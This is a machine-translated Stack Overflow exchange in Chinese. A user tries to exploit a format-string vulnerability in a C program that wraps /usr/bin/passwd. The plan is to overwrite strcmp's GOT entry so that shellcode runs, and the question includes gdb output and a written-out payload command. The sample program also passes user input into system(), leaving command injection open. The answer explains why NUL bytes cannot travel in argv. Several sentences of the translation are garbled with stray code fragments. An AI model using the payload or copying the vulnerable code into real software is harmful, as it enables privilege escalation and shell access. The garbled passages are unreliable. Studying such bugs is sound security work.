写入以空字节开头的内存

时间:2016-02-11 13:59:45

标签: c security format-string

假设这段代码:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char** argv){
    char fonction[50] = "/usr/bin/passwd ";
    char messageAccueil[100] = "changement du mot de passe de  : ";
    if(argc == 1){
        printf("vous devez passer un username en parametre \n");
        return 1;
    }
    printf(messageAccueil);
    printf(argv[1]); //<-- format string vulnerability here !!
    if(strcmp(argv[1], "root")==0){
        printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
        return 1;
    }
    printf("\n");
    strncat(fonction,argv[1],38);
    system(fonction);
    return 0;
}

我想通过利用格式字符串漏洞来执行shell, 所以,我想用存储在环境变量中的shellcode的地址从GOT重写strcmp函数地址。

gdb给了我:

(gdb) info functions
0x0000000000400570  strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>:    jmp    QWORD PTR [rip+0x20070a]#0x600c80 <strcmp@got.plt>
0x0000000000400576 <+6>:    push   0x6
0x000000000040057b <+11>:   jmp    0x400500
End of assembler dump.

所以我想把我的shellcode地址写成0x00600c80

如何将nullbyte传递给我的./changepasswd文件?

我实际上正在尝试这个漏洞:

/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x

这会给我一个地址 600c845f

但是\x00没有影响,也没有存储到堆栈中。

我发现地址从00开始可以通过和ascii铠装问题但是exec-shield选项在我的系统中完全没有。

所以我正在寻找一种方法将00写入我的堆栈让我的GOT地址由00以外的其他东西启动。< / p>

1 个答案:

答案 0 :(得分:2)

这里有两个问题。或者,更好的说,两种不可能性。

首先,有一个shell问题:如何将包含NUL的字符串作为命令行参数传递给实用程序。

Shell变量不能包含NUL,因此无法构造参数字符串并将其作为参数传递。 [注1]但是,您可以构建一个包含NUL的流,并将其导入到某个实用程序的stdin中。它只是找到一个实用程序,它将其输入转换为某个其他实用程序的命令行参数;那将是xargs。所以你可以尝试以下方法:

printf '\0This is an argument' | xargs -I{} ./victim {}

然而,这不起作用(xargs的大多数实现甚至不允许您尝试[注2]),因为第二个问题:argv参数main 1}}是 NUL - 终止字符串的数组,因此每个命令行参数都由第一个NUL终止。因此,即使您设法找到将所有字节传递到argv数组的方法,该实用程序也会将NUL视为终止参数,而不是作为参数的一部分。 (例如,printf(argv[1])将打印第一个参数的字节,直到达到NUL; NUL表示格式字符串的结尾。)

但是你找不到办法做到这一点,因为exec*系统库函数(其中一个是将参数传递给另一个可执行文件所必需的)也会将NUL视为终止各自的论点。由于exec*函数需要参数复制到新可执行映像的地址空间中,并且复制将在到达参数末尾时终止,{NUL函数后面的任何字节1}}将被删除。

注意:

  1. Shell有不同的方法来处理使用命令替换插入NUL的尝试。例如,Bash只删除NUL,但其他shell可能会在第一个NUL处终止替换。

  2. 对于记录,xargs的Gnu实现将产生以下有用信息:

      

    xargs:警告:输入中出现NUL字符。它不能在参数列表中传递。你的意思是使用--null选项吗?